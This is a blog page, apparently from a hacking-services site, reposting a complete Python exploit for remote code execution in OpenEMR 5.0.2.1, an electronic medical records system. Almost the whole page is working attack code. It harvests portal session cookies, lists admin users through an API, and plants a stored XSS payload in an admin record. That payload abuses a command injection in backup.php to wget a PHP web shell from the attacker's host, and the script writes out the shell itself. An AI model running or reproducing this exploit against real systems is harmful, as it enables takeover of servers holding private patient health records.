Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863552502

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: OpenEMR 5.0.2.1 - Remote Code Execution
# Exploit Author: Hato0, BvThTrd
# Date: 2020-08-07
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.2.1/openemr-5.0.2.tar.gz/download
# Version: 5.0.2.1 (without patches)
# Tested on: Ubuntu Server 20.04.1 LTS, OpenEMR Version 5.0.2.1
# References:
# https://blog.sonarsource.com/openemr-5-0-2-1-command-injection-vulnerability?utm_medium=cpc&utm_source=twitter&utm_campaign=openemr&utm_term=security&utm_content=tofu
# https://www.youtube.com/watch?v=H8VWNwWgYJo&feature=emb_logo

#!/usr/bin/python3

WARNING='''


===================================== WARNING =====================================
    Please do not use for illegal purposes. It's for educational use only. 
                        Please be on the good side.
===================================================================================


'''

import argparse
import http.server
import socketserver
import requests
from termcolor import colored
import json

OPENEMR_DIR = ""
RHOST = "127.0.0.1"
RPORT = 80
VHOST = ""
LHOST = "127.0.0.1"
LPORT = 4444
WPORT = 8080

def main():
    print(colored(WARNING, "red"))
    arguments()
    cookie1, cookie2 = init_session() 
    jsonReceived, id = get_api(cookie1["OpenEMR"], cookie2["PortalOpenEMR"])
    write_payload_js()
    write_wshell()
    send_xss(id,cookie1["OpenEMR"], cookie2["PortalOpenEMR"], jsonReceived)	
    if len(VHOST) > 0 :
        print(colored("[+]", "green"),f'Your wshell is available at http://{VHOST}/{OPENEMR_DIR}interface/main/wshell.php?cmd=')
    else:
        print(colored("[+]", "green"),f'Your wshell is available at http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/main/wshell.php?cmd=')
    web_serv()

def arguments():
    parser = argparse.ArgumentParser(description='This exploit drop a web shell on an OpenEMR v5.0.2.1 CMS. At the end, GET the URL and run a netcat listener on the LHOST:LHPORT. You will be able to do a Remote Code Execution on this server.')
    parser.add_argument("-d", "--directory", dest='directory', nargs='?', help="Root directory OpenEMR CMS")
    parser.add_argument("-rh", "--rhost", dest='rhost', help="Remote server IP", required=True)
    parser.add_argument("-rp", "--rport", dest='rport', nargs='?', help="Remote server PORT", type=int)
    parser.add_argument("-vh", "--vhost", dest='vhost', nargs='?', help="Remote server DOMAIN_NAME")
    parser.add_argument("-lh", "--lhost", dest='lhost', help="Reverse shell IP", required=True)
    parser.add_argument("-lp", "--lport", dest='lport', help="Reverse shell PORT", type=int, required=True)
    parser.add_argument("-wp", "--wport", dest='wport', nargs='?', help="Web Server PORT", type=int)

    args = parser.parse_args()

    if(args.directory != None):
        global OPENEMR_DIR
        OPENEMR_DIR = str(args.directory)
        if OPENEMR_DIR[-1] != "/":
            OPENEMR_DIR += "/"
    if(args.rhost != None):
        global RHOST
        RHOST =  str(args.rhost)
    if(args.rport != None):
        global RPORT 
        RPORT = int(args.rport)
    if(args.vhost != None):
        global VHOST
        VHOST =  str(args.vhost)
    if(args.lhost != None):
        global LHOST 
        LHOST = str(args.lhost)
    if(args.lport != None):
        global LPORT 
        LPORT = int(args.lport)
    if(args.wport != None):
        global WPORT 
        WPORT = int(args.wport)

def init_session():
	r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/login/login.php?site=default', headers={'host': VHOST})			

	if (r.status_code != 200):
		print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')
		exit(1)
	else:
		print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie OpenEMR:{r.cookies["OpenEMR"]}')

	cookies = {"OpenEMR" : r.cookies["OpenEMR"]}
	r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/account/register.php', headers={'host': VHOST}, cookies=cookies)			

	if (r.status_code != 200):
		print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')
		exit(1)
	else:
		print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie PortalOpenEMR:{r.cookies["PortalOpenEMR"]}')


	cookies2 = {"PortalOpenEMR": r.cookies["PortalOpenEMR"]}
	return (cookies, cookies2)


def get_api(cookieEMR, cookiePortal):
	cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal}

	r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/users/', headers={'host': VHOST}, cookies=cookies)

	parsed_json = (json.loads(r.text))
	for row in parsed_json['rows']:
		if row['authorized'] == str(1):
			print(colored("[+]", "green"),f'Find admin :')
			print(colored('\t[*]', 'yellow'), f'Id = {row["id"]}')
			print(colored('\t[*]', 'yellow'), f'Username = {row["username"]}')
			print(colored('\t[*]', 'yellow'), f'lname = {row["lname"]}')
			print(colored('\t[*]', 'yellow'), f'fname = {row["fname"]}')
			id = row['id']
			json_to_return = row
	if (r.status_code != 200):
		print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')
		exit(1)
	else:
		return (json_to_return, id)


def write_payload_js():
    payload = "var xmlHttp = new XMLHttpRequest();\n"
    payload += "var token = window.location.href;\n"
    if len(VHOST) > 0 :
        payload += "var mainUrl = 'http://{0}/{1}interface/main/tabs/main.php?token_main=';\n".format(VHOST, OPENEMR_DIR)
        payload += "var backUrl = 'http://{0}/{1}interface/main/backup.php';\n".format(VHOST,OPENEMR_DIR)
    else:
        payload += "var mainUrl = 'http://{0}:{1}/{2}interface/main/tabs/main.php?token_main=';\n".format(RHOST, RPORT, OPENEMR_DIR)
        payload += "var backUrl = 'http://{0}:{1}/{2}interface/main/backup.php';\n".format(RHOST, RPORT, OPENEMR_DIR)
    payload += "var cookieSet = 'OpenEMR=';\n\n"

    payload += "token = token.split('=')[1];\n\n"

    payload += "xmlHttp.open( 'GET', backUrl, false );\n"
    payload += "xmlHttp.send(null);\n\n"

    payload += "var response = xmlHttp.responseText;\n"
    payload += "var elemHTML = response.split(' ');\n"
    payload += "var csrf = '';\n\n\n"


    payload += "for(var i=0; i < elemHTML.length; i++)\n"
    payload += "{\n"
    payload += "\t    if(elemHTML[i] == 'name=\"csrf_token_form\"')\n"
    payload += "\t    {\n"
    payload += "\t\t        csrf = elemHTML[i+1].split('=')[1].replace(/\"/g,'');\n"
    payload += "\t\t        break;\n"
    payload += "\t    }\n"
    payload += "}\n\n\n"


    payload += "var formData = new FormData();\n\n"

    payload += "formData.append('csrf_token_form', csrf);\n"
    payload += "formData.append('form_sel_lists[]', 'amendment_status');\n"
    payload += "formData.append('form_sel_layouts[]', '`wget http://{0}:{1}/wshell.php -O wshell.php;`');\n".format(LHOST,WPORT)
    payload += "formData.append('form_step', '102');\n"
    payload += "formData.append('form_status', '');\n\n"

    payload += "var request = new XMLHttpRequest();\n"
    payload += "request.open('POST', backUrl);\n"
    payload += "request.send(formData);\n"

    with open('payload.js','w') as fpayload:
        for line in payload:
            fpayload.write(line)
        fpayload.close()
    print(colored("[+]", "green"),f'Payload XSS written')


def write_wshell():
    with open('wshell.php','w') as fwshell:
        fwshell.write("<?php system($_GET['cmd']); ?>\n")
        fwshell.close()
    print(colored("[+]", "green"),f'Wshell written')


def send_xss(id, cookieEMR, cookiePortal, jsonData):
	cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal}
	jsonData["lname"] = "<script src='http://{0}:{1}/payload.js'> </script>".format(LHOST,WPORT)
	jsonData["cpoe"] = 1
	jsonData["source"] = 1
	jsonData.pop("id",None)
	data = json.dumps(jsonData, indent = 4)
	r = requests.put(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/user/{id}', headers={'host': VHOST}, cookies=cookies, data=data)
	print(colored("[+]", "green"),f'Stored XSS dropped')


def web_serv():
    Handler = http.server.SimpleHTTPRequestHandler

    with socketserver.TCPServer(("", WPORT), Handler) as httpd:
        print(colored("[+]", "green"),f'HTTP Simple Server running at localhost PORT {WPORT}')
        httpd.serve_forever()


if __name__ == "__main__":
    main()